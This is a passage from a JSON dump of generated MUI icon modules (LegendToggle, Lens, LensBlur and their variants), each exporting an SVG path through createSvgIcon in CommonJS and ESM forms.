    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 3h-2c0 1.35-.31 2.63-.84 3.77l1.49 1.49C13.51 6.7 14 4.91 14 3m7 9v-2c-1.91 0-3.7.49-5.27 1.35l1.49 1.49c1.15-.53 2.43-.84 3.78-.84m0 4v-2c-.79 0-1.54.13-2.24.37l1.68 1.68c.19-.01.37-.05.56-.05M10 3H8c0 .19-.04.37-.06.56l1.68 1.68c.25-.7.38-1.46.38-2.24m-5.59-.14L3 4.27l2.84 2.84C5.03 7.67 4.06 8 3 8v2c1.61 0 3.09-.55 4.27-1.46L8.7 9.97C7.14 11.24 5.16 12 3 12v2c2.72 0 5.2-.99 7.11-2.62l2.51 2.51C10.99 15.81 10 18.29 10 21h2c0-2.16.76-4.14 2.03-5.7l1.43 1.43C14.55 17.91 14 19.39 14 21h2c0-1.06.33-2.03.89-2.84L19.73 21l1.41-1.41z\"\n}), 'LeakRemoveTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LegendToggle.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 15H4v-2h16zm0 2H4v2h16zm-5-6 5-3.55V5l-5 3.55L10 5 4 8.66V11l5.92-3.61z\"\n}), 'LegendToggle');"
  },
  {
    "path": "packages/mui-icons-material/lib/LegendToggle.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 15H4v-2h16zm0 2H4v2h16zm-5-6 5-3.55V5l-5 3.55L10 5 4 8.66V11l5.92-3.61z\"\n}), 'LegendToggle');"
  },
  {
    "path": "packages/mui-icons-material/lib/LegendToggleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 15H4v-2h16zm0 2H4v2h16zm-5-6 5-3.55V5l-5 3.55L10 5 4 8.66V11l5.92-3.61z\"\n}), 'LegendToggleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LegendToggleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 15H4v-2h16zm0 2H4v2h16zm-5-6 5-3.55V5l-5 3.55L10 5 4 8.66V11l5.92-3.61z\"\n}), 'LegendToggleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LegendToggleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 15H5c-.55 0-1-.45-1-1s.45-1 1-1h14c.55 0 1 .45 1 1s-.45 1-1 1m0 2H5c-.55 0-1 .45-1 1s.45 1 1 1h14c.55 0 1-.45 1-1s-.45-1-1-1m-4-6 4.58-3.25c.26-.19.42-.49.42-.81 0-.81-.92-1.29-1.58-.82L15 8.55 10 5 4.48 8.36c-.3.19-.48.51-.48.86 0 .78.85 1.26 1.52.85l4.4-2.68z\"\n}), 'LegendToggleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LegendToggleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 15H5c-.55 0-1-.45-1-1s.45-1 1-1h14c.55 0 1 .45 1 1s-.45 1-1 1m0 2H5c-.55 0-1 .45-1 1s.45 1 1 1h14c.55 0 1-.45 1-1s-.45-1-1-1m-4-6 4.58-3.25c.26-.19.42-.49.42-.81 0-.81-.92-1.29-1.58-.82L15 8.55 10 5 4.48 8.36c-.3.19-.48.51-.48.86 0 .78.85 1.26 1.52.85l4.4-2.68z\"\n}), 'LegendToggleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LegendToggleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 15H4v-2h16zm0 2H4v2h16zm-5-6 5-3.55V5l-5 3.55L10 5 4 8.66V11l5.92-3.61z\"\n}), 'LegendToggleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LegendToggleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 15H4v-2h16zm0 2H4v2h16zm-5-6 5-3.55V5l-5 3.55L10 5 4 8.66V11l5.92-3.61z\"\n}), 'LegendToggleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LegendToggleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 15H4v-2h16zm0 2H4v2h16zm-5-6 5-3.55V5l-5 3.55L10 5 4 8.66V11l5.92-3.61z\"\n}), 'LegendToggleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LegendToggleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 15H4v-2h16zm0 2H4v2h16zm-5-6 5-3.55V5l-5 3.55L10 5 4 8.66V11l5.92-3.61z\"\n}), 'LegendToggleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Lens.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2\"\n}), 'Lens');"
  },
  {
    "path": "packages/mui-icons-material/lib/Lens.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2\"\n}), 'Lens');"
  },
  {
    "path": "packages/mui-icons-material/lib/LensBlur.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 13c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0 4c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0-8c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m-3 .5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5M6 5c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m15 5.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5M14 7c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0-3.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5m-11 10c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m7 7c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m0-17c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5M10 7c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0 5.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m8 .5c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0 4c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0-8c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0-4c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m3 8.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5M14 17c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0 3.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m-4-12c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m0 8.5c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m4-4.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m0-4c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5\"\n}), 'LensBlur');"
  },
  {
    "path": "packages/mui-icons-material/lib/LensBlur.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 13c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0 4c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0-8c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m-3 .5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5M6 5c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m15 5.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5M14 7c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0-3.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5m-11 10c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m7 7c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m0-17c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5M10 7c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0 5.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m8 .5c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0 4c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0-8c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0-4c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m3 8.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5M14 17c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0 3.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m-4-12c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m0 8.5c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m4-4.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m0-4c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5\"\n}), 'LensBlur');"
  },
  {
    "path": "packages/mui-icons-material/lib/LensBlurOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 13c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0 4c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0-8c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m-3 .5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5M6 5c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m15 5.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5M14 7c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0-3.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5m-11 10c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m7 7c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m0-17c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5M10 7c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0 5.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m8 .5c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0 4c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0-8c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0-4c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m3 8.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5M14 17c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0 3.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m-4-12c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m0 8.5c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m4-4.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m0-4c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5\"\n}), 'LensBlurOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LensBlurOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 13c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0 4c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0-8c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m-3 .5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5M6 5c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m15 5.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5M14 7c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0-3.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5m-11 10c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m7 7c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m0-17c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5M10 7c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0 5.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m8 .5c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0 4c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0-8c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0-4c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m3 8.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5M14 17c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0 3.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m-4-12c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m0 8.5c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m4-4.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m0-4c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5\"\n}), 'LensBlurOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LensBlurRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 13c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0 4c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0-8c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m-3 .5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5M6 5c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m15 5.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5M14 7c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0-3.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5m-11 10c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m7 7c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m0-17c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5M10 7c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0 5.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m8 .5c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0 4c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0-8c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0-4c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m3 8.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5M14 17c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0 3.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m-4-12c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m0 8.5c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m4-4.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m0-4c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5\"\n}), 'LensBlurRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LensBlurRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 13c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0 4c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0-8c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m-3 .5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5M6 5c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m15 5.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5M14 7c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0-3.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5m-11 10c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m7 7c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m0-17c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5M10 7c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0 5.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m8 .5c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0 4c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0-8c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0-4c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m3 8.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5M14 17c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0 3.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m-4-12c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m0 8.5c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m4-4.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m0-4c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5\"\n}), 'LensBlurRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LensBlurSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 13c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0 4c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0-8c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m-3 .5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5M6 5c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m15 5.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5M14 7c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0-3.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5m-11 10c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m7 7c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m0-17c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5M10 7c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0 5.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m8 .5c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0 4c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0-8c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0-4c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m3 8.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5M14 17c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0 3.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m-4-12c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m0 8.5c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m4-4.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m0-4c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5\"\n}), 'LensBlurSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LensBlurSharp.mjs",
